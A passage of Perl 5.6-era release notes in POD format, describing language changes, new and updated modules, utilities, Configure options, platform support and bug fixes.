See L<perlfunc/exists> and L<perlfunc/delete> for examples.
=head2 Pseudo-hashes work better
Dereferencing some types of reference values in a pseudo-hash,
such as C<< $ph->{foo}[1] >>, was accidentally disallowed. This has
been corrected.
When applied to a pseudo-hash element, exists() now reports whether
the specified value exists, not merely if the key is valid.
delete() now works on pseudo-hashes. When given a pseudo-hash element
or slice it deletes the values corresponding to the keys (but not the keys
themselves). See L<perlref/"Pseudo-hashes: Using an array as a hash">.
Pseudo-hash slices with constant keys are now optimized to array lookups
at compile-time.
List assignments to pseudo-hash slices are now supported.
The C<fields> pragma now provides ways to create pseudo-hashes, via
fields::new() and fields::phash(). See L<fields>.
NOTE: The pseudo-hash data type continues to be experimental.
Limiting oneself to the interface elements provided by the
fields pragma will provide protection from any future changes.
=head2 Automatic flushing of output buffers
fork(), exec(), system(), qx//, and pipe open()s now flush buffers
of all files opened for output when the operation was attempted. This
mostly eliminates confusing buffering mishaps suffered by users unaware
of how Perl internally handles I/O.
This is not supported on some platforms like Solaris where a suitably
correct implementation of fflush(NULL) isn't available.
=head2 Better diagnostics on meaningless filehandle operations
Constructs such as C<< open(<FH>) >> and C<< close(<FH>) >>
are compile time errors. Attempting to read from filehandles that
were opened only for writing will now produce warnings (just as
writing to read-only filehandles does).
=head2 Where possible, buffered data discarded from duped input filehandle
C<< open(NEW, "<&OLD") >> now attempts to discard any data that
was previously read and buffered in C<OLD> before duping the handle.
On platforms where doing this is allowed, the next read operation
on C<NEW> will return the same data as the corresponding operation
on C<OLD>. Formerly, it would have returned the data from the start
of the following disk block instead.
=head2 eof() has the same old magic as <>
C<eof()> would return true if no attempt to read from C<< <> >> had
yet been made. C<eof()> has been changed to have a little magic of its
own, it now opens the C<< <> >> files.
=head2 binmode() can be used to set :crlf and :raw modes
binmode() now accepts a second argument that specifies a discipline
for the handle in question. The two pseudo-disciplines ":raw" and
":crlf" are currently supported on DOS-derivative platforms.
See L<perlfunc/"binmode"> and L<open>.
=head2 C<-T> filetest recognizes UTF-8 encoded files as "text"
The algorithm used for the C<-T> filetest has been enhanced to
correctly identify UTF-8 content as "text".
=head2 system(), backticks and pipe open now reflect exec() failure
On Unix and similar platforms, system(), qx() and open(FOO, "cmd |")
etc., are implemented via fork() and exec(). When the underlying
exec() fails, earlier versions did not report the error properly,
since the exec() happened to be in a different process.
The child process now communicates with the parent about the
error in launching the external command, which allows these
constructs to return with their usual error value and set $!.
=head2 Improved diagnostics
Line numbers are no longer suppressed (under most likely circumstances)
during the global destruction phase.
Diagnostics emitted from code running in threads other than the main
thread are now accompanied by the thread ID.
Embedded null characters in diagnostics now actually show up. They
used to truncate the message in prior versions.
$foo::a and $foo::b are now exempt from "possible typo" warnings only
if sort() is encountered in package C<foo>.
Unrecognized alphabetic escapes encountered when parsing quote
constructs now generate a warning, since they may take on new
semantics in later versions of Perl.
Many diagnostics now report the internal operation in which the warning
was provoked, like so:
Use of uninitialized value in concatenation (.) at (eval 1) line 1.
Use of uninitialized value in print at (eval 1) line 1.
Diagnostics that occur within eval may also report the file and line
number where the eval is located, in addition to the eval sequence
number and the line number within the evaluated text itself. For
example:
Not enough arguments for scalar at (eval 4)[newlib/perl5db.pl:1411] line 2, at EOF
=head2 Diagnostics follow STDERR
Diagnostic output now goes to whichever file the C<STDERR> handle
is pointing at, instead of always going to the underlying C runtime
library's C<stderr>.
=head2 More consistent close-on-exec behavior
On systems that support a close-on-exec flag on filehandles, the
flag is now set for any handles created by pipe(), socketpair(),
socket(), and accept(), if that is warranted by the value of $^F
that may be in effect. Earlier versions neglected to set the flag
for handles created with these operators. See L<perlfunc/pipe>,
L<perlfunc/socketpair>, L<perlfunc/socket>, L<perlfunc/accept>,
and L<perlvar/$^F>.
=head2 syswrite() ease-of-use
The length argument of C<syswrite()> has become optional.
=head2 Better syntax checks on parenthesized unary operators
Expressions such as:
print defined(&foo,&bar,&baz);
print uc("foo","bar","baz");
undef($foo,&bar);
used to be accidentally allowed in earlier versions, and produced
unpredictable behaviour. Some produced ancillary warnings
when used in this way; others silently did the wrong thing.
The parenthesized forms of most unary operators that expect a single
argument now ensure that they are not called with more than one
argument, making the cases shown above syntax errors. The usual
behaviour of:
print defined &foo, &bar, &baz;
print uc "foo", "bar", "baz";
undef $foo, &bar;
remains unchanged. See L<perlop>.
=head2 Bit operators support full native integer width
The bit operators (& | ^ ~ << >>) now operate on the full native
integral width (the exact size of which is available in $Config{ivsize}).
For example, if your platform is either natively 64-bit or if Perl
has been configured to use 64-bit integers, these operations apply
to 8 bytes (as opposed to 4 bytes on 32-bit platforms).
For portability, be sure to mask off the excess bits in the result of
unary C<~>, e.g., C<~$x & 0xffffffff>.
=head2 Improved security features
More potentially unsafe operations taint their results for improved
security.
The C<passwd> and C<shell> fields returned by the getpwent(), getpwnam(),
and getpwuid() are now tainted, because the user can affect their own
encrypted password and login shell.
The variable modified by shmread(), and messages returned by msgrcv()
(and its object-oriented interface IPC::SysV::Msg::rcv) are also tainted,
because other untrusted processes can modify messages and shared memory
segments for their own nefarious purposes.
=head2 More functional bareword prototype (*)
Bareword prototypes have been rationalized to enable them to be used
to override builtins that accept barewords and interpret them in
a special way, such as C<require> or C<do>.
Arguments prototyped as C<*> will now be visible within the subroutine
as either a simple scalar or as a reference to a typeglob.
See L<perlsub/Prototypes>.
=head2 C<require> and C<do> may be overridden
C<require> and C<do 'file'> operations may be overridden locally
by importing subroutines of the same name into the current package
(or globally by importing them into the CORE::GLOBAL:: namespace).
Overriding C<require> will also affect C<use>, provided the override
is visible at compile-time.
See L<perlsub/"Overriding Built-in Functions">.
=head2 $^X variables may now have names longer than one character
Formerly, $^X was synonymous with ${"\cX"}, but $^XY was a syntax
error. Now variable names that begin with a control character may be
arbitrarily long. However, for compatibility reasons, these variables
I<must> be written with explicit braces, as C<${^XY}> for example.
C<${^XYZ}> is synonymous with ${"\cXYZ"}. Variable names with more
than one control character, such as C<${^XY^Z}>, are illegal.
The old syntax has not changed. As before, `^X' may be either a
literal control-X character or the two-character sequence `caret' plus
`X'. When braces are omitted, the variable name stops after the
control character. Thus C<"$^XYZ"> continues to be synonymous with
C<$^X . "YZ"> as before.
As before, lexical variables may not have names beginning with control
characters. As before, variables whose names begin with a control
character are always forced to be in package `main'. All such variables
are reserved for future extensions, except those that begin with
C<^_>, which may be used by user programs and are guaranteed not to
acquire special meaning in any future version of Perl.
=head2 New variable $^C reflects C<-c> switch
C<$^C> has a boolean value that reflects whether perl is being run
in compile-only mode (i.e. via the C<-c> switch). Since
BEGIN blocks are executed under such conditions, this variable
enables perl code to determine whether actions that make sense
only during normal running are warranted. See L<perlvar>.
=head2 New variable $^V contains Perl version as a string
C<$^V> contains the Perl version number as a string composed of
characters whose ordinals match the version numbers, i.e. v5.6.0.
This may be used in string comparisons.
See C<Support for strings represented as a vector of ordinals> for an
example.
=head2 Optional Y2K warnings
If Perl is built with the cpp macro C<PERL_Y2KWARN> defined,
it emits optional warnings when concatenating the number 19
with another number.
This behavior must be specifically enabled when running Configure.
See F<INSTALL> and F<README.Y2K>.
=head2 Arrays now always interpolate into double-quoted strings
In double-quoted strings, arrays now interpolate, no matter what. The
behavior in earlier versions of perl 5 was that arrays would interpolate
into strings if the array had been mentioned before the string was
compiled, and otherwise Perl would raise a fatal compile-time error.
In versions 5.000 through 5.003, the error was
Literal @example now requires backslash
In versions 5.004_01 through 5.6.0, the error was
In string, @example now must be written as \@example
The idea here was to get people into the habit of writing
C<"fred\@example.com"> when they wanted a literal C<@> sign, just as
they have always written C<"Give me back my \$5"> when they wanted a
literal C<$> sign.
Starting with 5.6.1, when Perl now sees an C<@> sign in a
double-quoted string, it I<always> attempts to interpolate an array,
regardless of whether or not the array has been used or declared
already. The fatal error has been downgraded to an optional warning:
Possible unintended interpolation of @example in string
This warns you that C<"fred@example.com"> is going to turn into
C<fred.com> if you don't backslash the C<@>.
See http://www.plover.com/~mjd/perl/at-error.html for more details
about the history here.
=head2 @- and @+ provide starting/ending offsets of regex matches
The new magic variables @- and @+ provide the starting and ending
offsets, respectively, of $&, $1, $2, etc. See L<perlvar> for
details.
=head1 Modules and Pragmata
=head2 Modules
=over 4
=item attributes
While used internally by Perl as a pragma, this module also
provides a way to fetch subroutine and variable attributes.
See L<attributes>.
=item B
The Perl Compiler suite has been extensively reworked for this
release. More of the standard Perl test suite passes when run
under the Compiler, but there is still a significant way to
go to achieve production quality compiled executables.
NOTE: The Compiler suite remains highly experimental. The
generated code may not be correct, even when it manages to execute
without errors.
=item Benchmark
Overall, Benchmark results exhibit lower average error and better timing
accuracy.
You can now run tests for I<n> seconds instead of guessing the right
number of tests to run: e.g., timethese(-5, ...) will run each
code for at least 5 CPU seconds. Zero as the "number of repetitions"
means "for at least 3 CPU seconds". The output format has also
changed. For example:
use Benchmark;$x=3;timethese(-5,{a=>sub{$x*$x},b=>sub{$x**2}})
will now output something like this:
Benchmark: running a, b, each for at least 5 CPU seconds...
a: 5 wallclock secs ( 5.77 usr + 0.00 sys = 5.77 CPU) @ 200551.91/s (n=1156516)
b: 4 wallclock secs ( 5.00 usr + 0.02 sys = 5.02 CPU) @ 159605.18/s (n=800686)
New features: "each for at least N CPU seconds...", "wallclock secs",
and the "@ operations/CPU second (n=operations)".
timethese() now returns a reference to a hash of Benchmark objects containing
the test results, keyed on the names of the tests.
timethis() now returns the iterations field in the Benchmark result object
instead of 0.
timethese(), timethis(), and the new cmpthese() (see below) can also take
a format specifier of 'none' to suppress output.
A new function countit() is just like timeit() except that it takes a
TIME instead of a COUNT.
A new function cmpthese() prints a chart comparing the results of each test
returned from a timethese() call. For each possible pair of tests, the
percentage speed difference (iters/sec or seconds/iter) is shown.
For other details, see L<Benchmark>.
=item ByteLoader
The ByteLoader is a dedicated extension to generate and run
Perl bytecode. See L<ByteLoader>.
=item constant
References can now be used.
The new version also allows a leading underscore in constant names, but
disallows a double leading underscore (as in "__LINE__"). Some other names
are disallowed or warned against, including BEGIN, END, etc. Some names
which were forced into main:: used to fail silently in some cases; now they're
fatal (outside of main::) and an optional warning (inside of main::).
The ability to detect whether a constant had been set with a given name has
been added.
See L<constant>.
=item charnames
This pragma implements the C<\N> string escape. See L<charnames>.
=item Data::Dumper
A C<Maxdepth> setting can be specified to avoid venturing
too deeply into deep data structures. See L<Data::Dumper>.
The XSUB implementation of Dump() is now automatically called if the
C<Useqq> setting is not in use.
Dumping C<qr//> objects works correctly.
=item DB
C<DB> is an experimental module that exposes a clean abstraction
to Perl's debugging API.
=item DB_File
DB_File can now be built with Berkeley DB versions 1, 2 or 3.
See C<ext/DB_File/Changes>.
=item Devel::DProf
Devel::DProf, a Perl source code profiler has been added. See
L<Devel::DProf> and L<dprofpp>.
=item Devel::Peek
The Devel::Peek module provides access to the internal representation
of Perl variables and data. It is a data debugging tool for the XS programmer.
=item Dumpvalue
The Dumpvalue module provides screen dumps of Perl data.
=item DynaLoader
DynaLoader now supports a dl_unload_file() function on platforms that
support unloading shared objects using dlclose().
Perl can also optionally arrange to unload all extension shared objects
loaded by Perl. To enable this, build Perl with the Configure option
C<-Accflags=-DDL_UNLOAD_ALL_AT_EXIT>. (This maybe useful if you are
using Apache with mod_perl.)
=item English
$PERL_VERSION now stands for C<$^V> (a string value) rather than for C<$]>
(a numeric value).
=item Env
Env now supports accessing environment variables like PATH as array
variables.
=item Fcntl
More Fcntl constants added: F_SETLK64, F_SETLKW64, O_LARGEFILE for
large file (more than 4GB) access (NOTE: the O_LARGEFILE is
automatically added to sysopen() flags if large file support has been
configured, as is the default), Free/Net/OpenBSD locking behaviour
flags F_FLOCK, F_POSIX, Linux F_SHLCK, and O_ACCMODE: the combined
mask of O_RDONLY, O_WRONLY, and O_RDWR. The seek()/sysseek()
constants SEEK_SET, SEEK_CUR, and SEEK_END are available via the
C<:seek> tag. The chmod()/stat() S_IF* constants and S_IS* functions
are available via the C<:mode> tag.
=item File::Compare
A compare_text() function has been added, which allows custom
comparison functions. See L<File::Compare>.
=item File::Find
File::Find now works correctly when the wanted() function is either
autoloaded or is a symbolic reference.
A bug that caused File::Find to lose track of the working directory
when pruning top-level directories has been fixed.
File::Find now also supports several other options to control its
behavior. It can follow symbolic links if the C<follow> option is
specified. Enabling the C<no_chdir> option will make File::Find skip
changing the current directory when walking directories. The C<untaint>
flag can be useful when running with taint checks enabled.
See L<File::Find>.
=item File::Glob
This extension implements BSD-style file globbing. By default,
it will also be used for the internal implementation of the glob()
operator. See L<File::Glob>.
=item File::Spec
New methods have been added to the File::Spec module: devnull() returns
the name of the null device (/dev/null on Unix) and tmpdir() the name of
the temp directory (normally /tmp on Unix). There are now also methods
to convert between absolute and relative filenames: abs2rel() and
rel2abs(). For compatibility with operating systems that specify volume
names in file paths, the splitpath(), splitdir(), and catdir() methods
have been added.
=item File::Spec::Functions
The new File::Spec::Functions modules provides a function interface
to the File::Spec module. Allows shorthand
$fullname = catfile($dir1, $dir2, $file);
instead of
$fullname = File::Spec->catfile($dir1, $dir2, $file);
=item Getopt::Long
Getopt::Long licensing has changed to allow the Perl Artistic License
as well as the GPL. It used to be GPL only, which got in the way of
non-GPL applications that wanted to use Getopt::Long.
Getopt::Long encourages the use of Pod::Usage to produce help
messages. For example:
use Getopt::Long;
use Pod::Usage;
my $man = 0;
my $help = 0;
GetOptions('help|?' => \$help, man => \$man) or pod2usage(2);
pod2usage(1) if $help;
pod2usage(-exitstatus => 0, -verbose => 2) if $man;
__END__
=head1 NAME
sample - Using Getopt::Long and Pod::Usage
=head1 SYNOPSIS
sample [options] [file ...]
Options:
-help brief help message
-man full documentation
=head1 OPTIONS
=over 8
=item B<-help>
Print a brief help message and exits.
=item B<-man>
Prints the manual page and exits.
=back
=head1 DESCRIPTION
B<This program> will read the given input file(s) and do something
useful with the contents thereof.
=cut
See L<Pod::Usage> for details.
A bug that prevented the non-option call-back <> from being
specified as the first argument has been fixed.
To specify the characters < and > as option starters, use ><. Note,
however, that changing option starters is strongly deprecated.
=item IO
write() and syswrite() will now accept a single-argument
form of the call, for consistency with Perl's syswrite().
You can now create a TCP-based IO::Socket::INET without forcing
a connect attempt. This allows you to configure its options
(like making it non-blocking) and then call connect() manually.
A bug that prevented the IO::Socket::protocol() accessor
from ever returning the correct value has been corrected.
IO::Socket::connect now uses non-blocking IO instead of alarm()
to do connect timeouts.
IO::Socket::accept now uses select() instead of alarm() for doing
timeouts.
IO::Socket::INET->new now sets $! correctly on failure. $@ is
still set for backwards compatibility.
=item JPL
Java Perl Lingo is now distributed with Perl. See jpl/README
for more information.
=item lib
C<use lib> now weeds out any trailing duplicate entries.
C<no lib> removes all named entries.
=item Math::BigInt
The bitwise operations C<<< << >>>, C<<< >> >>>, C<&>, C<|>,
and C<~> are now supported on bigints.
=item Math::Complex
The accessor methods Re, Im, arg, abs, rho, and theta can now also
act as mutators (accessor $z->Re(), mutator $z->Re(3)).
The class method C<display_format> and the corresponding object method
C<display_format>, in addition to accepting just one argument, now can
also accept a parameter hash. Recognized keys of a parameter hash are
C<"style">, which corresponds to the old one parameter case, and two
new parameters: C<"format">, which is a printf()-style format string
(defaults usually to C<"%.15g">, you can revert to the default by
setting the format string to C<undef>) used for both parts of a
complex number, and C<"polar_pretty_print"> (defaults to true),
which controls whether an attempt is made to try to recognize small
multiples and rationals of pi (2pi, pi/2) at the argument (angle) of a
polar complex number.
The potentially disruptive change is that in list context both methods
now I<return the parameter hash>, instead of only the value of the
C<"style"> parameter.
=item Math::Trig
A little bit of radial trigonometry (cylindrical and spherical),
radial coordinate conversions, and the great circle distance were added.
=item Pod::Parser, Pod::InputObjects
Pod::Parser is a base class for parsing and selecting sections of
pod documentation from an input stream. This module takes care of
identifying pod paragraphs and commands in the input and hands off the
parsed paragraphs and commands to user-defined methods which are free
to interpret or translate them as they see fit.
Pod::InputObjects defines some input objects needed by Pod::Parser, and
for advanced users of Pod::Parser that need more about a command besides
its name and text.
As of release 5.6.0 of Perl, Pod::Parser is now the officially sanctioned
"base parser code" recommended for use by all pod2xxx translators.
Pod::Text (pod2text) and Pod::Man (pod2man) have already been converted
to use Pod::Parser and efforts to convert Pod::HTML (pod2html) are already
underway. For any questions or comments about pod parsing and translating
issues and utilities, please use the pod-people@perl.org mailing list.
For further information, please see L<Pod::Parser> and L<Pod::InputObjects>.
=item Pod::Checker, podchecker
This utility checks pod files for correct syntax, according to
L<perlpod>. Obvious errors are flagged as such, while warnings are
printed for mistakes that can be handled gracefully. The checklist is
not complete yet. See L<Pod::Checker>.
=item Pod::ParseUtils, Pod::Find
These modules provide a set of gizmos that are useful mainly for pod
translators. L<Pod::Find|Pod::Find> traverses directory structures and
returns found pod files, along with their canonical names (like
C<File::Spec::Unix>). L<Pod::ParseUtils|Pod::ParseUtils> contains
B<Pod::List> (useful for storing pod list information), B<Pod::Hyperlink>
(for parsing the contents of C<LE<lt>E<gt>> sequences) and B<Pod::Cache>
(for caching information about pod files, e.g., link nodes).
=item Pod::Select, podselect
Pod::Select is a subclass of Pod::Parser which provides a function
named "podselect()" to filter out user-specified sections of raw pod
documentation from an input stream. podselect is a script that provides
access to Pod::Select from other scripts to be used as a filter.
See L<Pod::Select>.
=item Pod::Usage, pod2usage
Pod::Usage provides the function "pod2usage()" to print usage messages for
a Perl script based on its embedded pod documentation. The pod2usage()
function is generally useful to all script authors since it lets them
write and maintain a single source (the pods) for documentation, thus
removing the need to create and maintain redundant usage message text
consisting of information already in the pods.
There is also a pod2usage script which can be used from other kinds of
scripts to print usage messages from pods (even for non-Perl scripts
with pods embedded in comments).
For details and examples, please see L<Pod::Usage>.
=item Pod::Text and Pod::Man
Pod::Text has been rewritten to use Pod::Parser. While pod2text() is
still available for backwards compatibility, the module now has a new
preferred interface. See L<Pod::Text> for the details. The new Pod::Text
module is easily subclassed for tweaks to the output, and two such
subclasses (Pod::Text::Termcap for man-page-style bold and underlining
using termcap information, and Pod::Text::Color for markup with ANSI color
sequences) are now standard.
pod2man has been turned into a module, Pod::Man, which also uses
Pod::Parser. In the process, several outstanding bugs related to quotes
in section headers, quoting of code escapes, and nested lists have been
fixed. pod2man is now a wrapper script around this module.
=item SDBM_File
An EXISTS method has been added to this module (and sdbm_exists() has
been added to the underlying sdbm library), so one can now call exists
on an SDBM_File tied hash and get the correct result, rather than a
runtime error.
A bug that may have caused data loss when more than one disk block
happens to be read from the database in a single FETCH() has been
fixed.
=item Sys::Syslog
Sys::Syslog now uses XSUBs to access facilities from syslog.h so it
no longer requires syslog.ph to exist.
=item Sys::Hostname
Sys::Hostname now uses XSUBs to call the C library's gethostname() or
uname() if they exist.
=item Term::ANSIColor
Term::ANSIColor is a very simple module to provide easy and readable
access to the ANSI color and highlighting escape sequences, supported by
most ANSI terminal emulators. It is now included standard.
=item Time::Local
The timelocal() and timegm() functions used to silently return bogus
results when the date fell outside the machine's integer range. They
now consistently croak() if the date falls in an unsupported range.
=item Win32
The error return value in list context has been changed for all functions
that return a list of values. Previously these functions returned a list
with a single element C<undef> if an error occurred. Now these functions
return the empty list in these situations. This applies to the following
functions:
Win32::FsType
Win32::GetOSVersion
The remaining functions are unchanged and continue to return C<undef> on
error even in list context.
The Win32::SetLastError(ERROR) function has been added as a complement
to the Win32::GetLastError() function.
The new Win32::GetFullPathName(FILENAME) returns the full absolute
pathname for FILENAME in scalar context. In list context it returns
a two-element list containing the fully qualified directory name and
the filename. See L<Win32>.
=item XSLoader
The XSLoader extension is a simpler alternative to DynaLoader.
See L<XSLoader>.
=item DBM Filters
A new feature called "DBM Filters" has been added to all the
DBM modules--DB_File, GDBM_File, NDBM_File, ODBM_File, and SDBM_File.
DBM Filters add four new methods to each DBM module:
filter_store_key
filter_store_value
filter_fetch_key
filter_fetch_value
These can be used to filter key-value pairs before the pairs are
written to the database or just after they are read from the database.
See L<perldbmfilter> for further information.
=back
=head2 Pragmata
C<use attrs> is now obsolete, and is only provided for
backward-compatibility. It's been replaced by the C<sub : attributes>
syntax. See L<perlsub/"Subroutine Attributes"> and L<attributes>.
Lexical warnings pragma, C<use warnings;>, to control optional warnings.
See L<perllexwarn>.
C<use filetest> to control the behaviour of filetests (C<-r> C<-w>
...). Currently only one subpragma implemented, "use filetest
'access';", that uses access(2) or equivalent to check permissions
instead of using stat(2) as usual. This matters in filesystems
where there are ACLs (access control lists): the stat(2) might lie,
but access(2) knows better.
The C<open> pragma can be used to specify default disciplines for
handle constructors (e.g. open()) and for qx//. The two
pseudo-disciplines C<:raw> and C<:crlf> are currently supported on
DOS-derivative platforms (i.e. where binmode is not a no-op).
See also L</"binmode() can be used to set :crlf and :raw modes">.
=head1 Utility Changes
=head2 dprofpp
C<dprofpp> is used to display profile data generated using C<Devel::DProf>.
See L<dprofpp>.
=head2 find2perl
The C<find2perl> utility now uses the enhanced features of the File::Find
module. The -depth and -follow options are supported. Pod documentation
is also included in the script.
=head2 h2xs
The C<h2xs> tool can now work in conjunction with C<C::Scan> (available
from CPAN) to automatically parse real-life header files. The C<-M>,
C<-a>, C<-k>, and C<-o> options are new.
=head2 perlcc
C<perlcc> now supports the C and Bytecode backends. By default,
it generates output from the simple C backend rather than the
optimized C backend.
Support for non-Unix platforms has been improved.
=head2 perldoc
C<perldoc> has been reworked to avoid possible security holes.
It will not by default let itself be run as the superuser, but you
may still use the B<-U> switch to try to make it drop privileges
first.
=head2 The Perl Debugger
Many bug fixes and enhancements were added to F<perl5db.pl>, the
Perl debugger. The help documentation was rearranged. New commands
include C<< < ? >>, C<< > ? >>, and C<< { ? >> to list out current
actions, C<man I<docpage>> to run your doc viewer on some perl
docset, and support for quoted options. The help information was
rearranged, and should be viewable once again if you're using B<less>
as your pager. A serious security hole was plugged--you should
immediately remove all older versions of the Perl debugger as
installed in previous releases, all the way back to perl3, from
your system to avoid being bitten by this.
=head1 Improved Documentation
Many of the platform-specific README files are now part of the perl
installation. See L<perl> for the complete list.
=over 4
=item perlapi.pod
The official list of public Perl API functions.
=item perlboot.pod
A tutorial for beginners on object-oriented Perl.
=item perlcompile.pod
An introduction to using the Perl Compiler suite.
=item perldbmfilter.pod
A howto document on using the DBM filter facility.
=item perldebug.pod
All material unrelated to running the Perl debugger, plus all
low-level guts-like details that risked crushing the casual user
of the debugger, have been relocated from the old manpage to the
next entry below.
=item perldebguts.pod
This new manpage contains excessively low-level material not related
to the Perl debugger, but slightly related to debugging Perl itself.
It also contains some arcane internal details of how the debugging
process works that may only be of interest to developers of Perl
debuggers.
=item perlfork.pod
Notes on the fork() emulation currently available for the Windows platform.
=item perlfilter.pod
An introduction to writing Perl source filters.
=item perlhack.pod
Some guidelines for hacking the Perl source code.
=item perlintern.pod
A list of internal functions in the Perl source code.
(List is currently empty.)
=item perllexwarn.pod
Introduction and reference information about lexically scoped
warning categories.
=item perlnumber.pod
Detailed information about numbers as they are represented in Perl.
=item perlopentut.pod
A tutorial on using open() effectively.
=item perlreftut.pod
A tutorial that introduces the essentials of references.
=item perltootc.pod
A tutorial on managing class data for object modules.
=item perltodo.pod
Discussion of the most often wanted features that may someday be
supported in Perl.
=item perlunicode.pod
An introduction to Unicode support features in Perl.
=back
=head1 Performance enhancements
=head2 Simple sort() using { $a <=> $b } and the like are optimized
Many common sort() operations using a simple inlined block are now
optimized for faster performance.
=head2 Optimized assignments to lexical variables
Certain operations in the RHS of assignment statements have been
optimized to directly set the lexical variable on the LHS,
eliminating redundant copying overheads.
=head2 Faster subroutine calls
Minor changes in how subroutine calls are handled internally
provide marginal improvements in performance.
=head2 delete(), each(), values() and hash iteration are faster
The hash values returned by delete(), each(), values() and hashes in a
list context are the actual values in the hash, instead of copies.
This results in significantly better performance, because it eliminates
needless copying in most situations.
=head1 Installation and Configuration Improvements
=head2 -Dusethreads means something different
The -Dusethreads flag now enables the experimental interpreter-based thread
support by default. To get the flavor of experimental threads that was in
5.005 instead, you need to run Configure with "-Dusethreads -Duse5005threads".
As of v5.6.0, interpreter-threads support is still lacking a way to
create new threads from Perl (i.e., C<use Thread;> will not work with
interpreter threads). C<use Thread;> continues to be available when you
specify the -Duse5005threads option to Configure, bugs and all.
NOTE: Support for threads continues to be an experimental feature.
Interfaces and implementation are subject to sudden and drastic changes.
=head2 New Configure flags
The following new flags may be enabled on the Configure command line
by running Configure with C<-Dflag>.
usemultiplicity
usethreads useithreads (new interpreter threads: no Perl API yet)
usethreads use5005threads (threads as they were in 5.005)
use64bitint (equal to now deprecated 'use64bits')
use64bitall
uselongdouble
usemorebits
uselargefiles
usesocks (only SOCKS v5 supported)
=head2 Threadedness and 64-bitness now more daring
The Configure options enabling the use of threads and the use of
64-bitness are now more daring in the sense that they no more have an
explicit list of operating systems of known threads/64-bit
capabilities. In other words: if your operating system has the
necessary APIs and datatypes, you should be able just to go ahead and
use them, for threads by Configure -Dusethreads, and for 64 bits
either explicitly by Configure -Duse64bitint or implicitly if your
system has 64-bit wide datatypes. See also L<"64-bit support">.
=head2 Long Doubles
Some platforms have "long doubles", floating point numbers of even
larger range than ordinary "doubles". To enable using long doubles for
Perl's scalars, use -Duselongdouble.
=head2 -Dusemorebits
You can enable both -Duse64bitint and -Duselongdouble with -Dusemorebits.
See also L<"64-bit support">.
=head2 -Duselargefiles
Some platforms support system APIs that are capable of handling large files
(typically, files larger than two gigabytes). Perl will try to use these
APIs if you ask for -Duselargefiles.
See L<"Large file support"> for more information.
=head2 installusrbinperl
You can use "Configure -Uinstallusrbinperl" which causes installperl
to skip installing perl also as /usr/bin/perl. This is useful if you
prefer not to modify /usr/bin for some reason or another but harmful
because many scripts assume to find Perl in /usr/bin/perl.
=head2 SOCKS support
You can use "Configure -Dusesocks" which causes Perl to probe
for the SOCKS proxy protocol library (v5, not v4). For more information
on SOCKS, see:
http://www.socks.nec.com/
=head2 C<-A> flag
You can "post-edit" the Configure variables using the Configure C<-A>
switch. The editing happens immediately after the platform specific
hints files have been processed but before the actual configuration
process starts. Run C<Configure -h> to find out the full C<-A> syntax.
=head2 Enhanced Installation Directories
The installation structure has been enriched to improve the support
for maintaining multiple versions of perl, to provide locations for
vendor-supplied modules, scripts, and manpages, and to ease maintenance
of locally-added modules, scripts, and manpages. See the section on
Installation Directories in the INSTALL file for complete details.
For most users building and installing from source, the defaults should
be fine.
If you previously used C<Configure -Dsitelib> or C<-Dsitearch> to set
special values for library directories, you might wish to consider using
the new C<-Dsiteprefix> setting instead. Also, if you wish to re-use a
config.sh file from an earlier version of perl, you should be sure to
check that Configure makes sensible choices for the new directories.
See INSTALL for complete details.
=head1 Platform specific changes
=head2 Supported platforms
=over 4
=item *
The Mach CThreads (NEXTSTEP, OPENSTEP) are now supported by the Thread
extension.
=item *
GNU/Hurd is now supported.
=item *
Rhapsody/Darwin is now supported.
=item *
EPOC is now supported (on Psion 5).
=item *
The cygwin port (formerly cygwin32) has been greatly improved.
=back
=head2 DOS
=over 4
=item *
Perl now works with djgpp 2.02 (and 2.03 alpha).
=item *
Environment variable names are not converted to uppercase any more.
=item *
Incorrect exit codes from backticks have been fixed.
=item *
This port continues to use its own builtin globbing (not File::Glob).
=back
=head2 OS390 (OpenEdition MVS)
Support for this EBCDIC platform has not been renewed in this release.
There are difficulties in reconciling Perl's standardization on UTF-8
as its internal representation for characters with the EBCDIC character
set, because the two are incompatible.
It is unclear whether future versions will renew support for this
platform, but the possibility exists.
=head2 VMS
Numerous revisions and extensions to configuration, build, testing, and
installation process to accommodate core changes and VMS-specific options.
Expand %ENV-handling code to allow runtime mapping to logical names,
CLI symbols, and CRTL environ array.
Extension of subprocess invocation code to accept filespecs as command
"verbs".
Add to Perl command line processing the ability to use default file types and
to recognize Unix-style C<2E<gt>&1>.
Expansion of File::Spec::VMS routines, and integration into ExtUtils::MM_VMS.
Extension of ExtUtils::MM_VMS to handle complex extensions more flexibly.
Barewords at start of Unix-syntax paths may be treated as text rather than
only as logical names.
Optional secure translation of several logical names used internally by Perl.
Miscellaneous bugfixing and porting of new core code to VMS.
Thanks are gladly extended to the many people who have contributed VMS
patches, testing, and ideas.
=head2 Win32
Perl can now emulate fork() internally, using multiple interpreters running
in different concurrent threads. This support must be enabled at build
time. See L<perlfork> for detailed information.
When given a pathname that consists only of a drivename, such as C<A:>,
opendir() and stat() now use the current working directory for the drive
rather than the drive root.
The builtin XSUB functions in the Win32:: namespace are documented. See
L<Win32>.
$^X now contains the full path name of the running executable.
A Win32::GetLongPathName() function is provided to complement
Win32::GetFullPathName() and Win32::GetShortPathName(). See L<Win32>.
POSIX::uname() is supported.
system(1,...) now returns true process IDs rather than process
handles. kill() accepts any real process id, rather than strictly
return values from system(1,...).
For better compatibility with Unix, C<kill(0, $pid)> can now be used to
test whether a process exists.
The C<Shell> module is supported.
Better support for building Perl under command.com in Windows 95
has been added.
Scripts are read in binary mode by default to allow ByteLoader (and
the filter mechanism in general) to work properly. For compatibility,
the DATA filehandle will be set to text mode if a carriage return is
detected at the end of the line containing the __END__ or __DATA__
token; if not, the DATA filehandle will be left open in binary mode.
Earlier versions always opened the DATA filehandle in text mode.
The glob() operator is implemented via the C<File::Glob> extension,
which supports glob syntax of the C shell. This increases the flexibility
of the glob() operator, but there may be compatibility issues for
programs that relied on the older globbing syntax. If you want to
preserve compatibility with the older syntax, you might want to run
perl with C<-MFile::DosGlob>. For details and compatibility information,
see L<File::Glob>.
=head1 Significant bug fixes
=head2 <HANDLE> on empty files
With C<$/> set to C<undef>, "slurping" an empty file returns a string of
zero length (instead of C<undef>, as it used to) the first time the
HANDLE is read after C<$/> is set to C<undef>. Further reads yield
C<undef>.
This means that the following will append "foo" to an empty file (it used
to do nothing):
perl -0777 -pi -e 's/^/foo/' empty_file
The behaviour of:
perl -pi -e 's/^/foo/' empty_file
is unchanged (it continues to leave the file empty).
=head2 C<eval '...'> improvements
Line numbers (as reflected by caller() and most diagnostics) within
